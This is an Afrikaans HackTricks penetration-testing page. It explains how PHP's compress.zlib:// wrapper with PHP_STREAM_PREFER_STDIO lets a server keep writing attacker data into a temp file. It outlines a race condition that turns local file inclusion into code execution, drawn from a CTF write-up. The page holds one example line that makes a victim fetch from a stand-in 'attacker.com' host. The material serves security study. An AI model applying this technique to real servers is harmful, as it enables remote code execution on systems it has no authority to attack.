hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

5.4 KiB

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

WhiteIntel

WhiteIntel is 'n dark-web aangedrewe soekenjin wat gratis funksies bied om te kontroleer of 'n maatskappy of sy kliënte gekompromiteer is deur steel-malware.

Die primêre doel van WhiteIntel is om rekening-oorneem te beveg en lospryse-aanvalle as gevolg van inligtingsteel-malware te voorkom.

Jy kan hul webwerf besoek en hul enjin vir gratis probeer by:

{% embed url="https://whiteintel.io" %}


compress.zlib:// en PHP_STREAM_PREFER_STDIO

'n Lêer wat oopgemaak word met die protokol compress.zlib:// met die vlag PHP_STREAM_PREFER_STDIO kan voortgaan om data wat later by die verbinding arriveer na dieselfde lêer te skryf.

Dit beteken dat 'n oproep soos:

file_get_contents("compress.zlib://http://attacker.com/file")

Sal 'n versoek stuur vir http://attacker.com/file, dan kan die bediener reageer op die versoek met 'n geldige HTTP-antwoord, die verbinding oop hou, en later ekstra data stuur wat ook in die lêer geskryf sal word.

Jy kan daardie inligting sien in hierdie deel van die php-src-kode in main/streams/cast.c:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Wedloopkondisie na RCE

Hierdie CTF is opgelos deur die vorige truuk te gebruik.

Die aanvaller sal die slagofferbediener 'n verbinding laat oopmaak om 'n lêer van die aanvaller se bediener af te lees deur die compress.zlib protokol te gebruik.

Terwyl hierdie verbinding bestaan, sal die aanvaller die pad na die tydelike lêer wat geskep is, uitlek (dit word deur die bediener gelek).

Terwyl die verbinding nog oop is, sal die aanvaller 'n LFI uitbuit deur die tydelike lêer te laai wat hy beheer.

Daar is egter 'n kontrole in die webbediener wat voorkom dat lêers gelaai word wat <? bevat. Daarom sal die aanvaller 'n Wedloopkondisie misbruik. In die verbinding wat nog oop is, sal die aanvaller die PHP-lading NA die webbediener stuur nadat die bediener gekontroleer het of die lêer die verbode karakters bevat, maar VOORDAT dit sy inhoud laai.

Vir meer inligting, kyk na die beskrywing van die Wedloopkondisie en die CTF by https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

WhiteIntel

WhiteIntel is 'n donkerweb-aangedrewe soekenjin wat gratis funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur steel-malware gekompromitteer is.

Die primêre doel van WhiteIntel is om rekening-oorneemname en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.

Jy kan hul webwerf besoek en hul enjin gratis probeer by:

{% embed url="https://whiteintel.io" %}

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: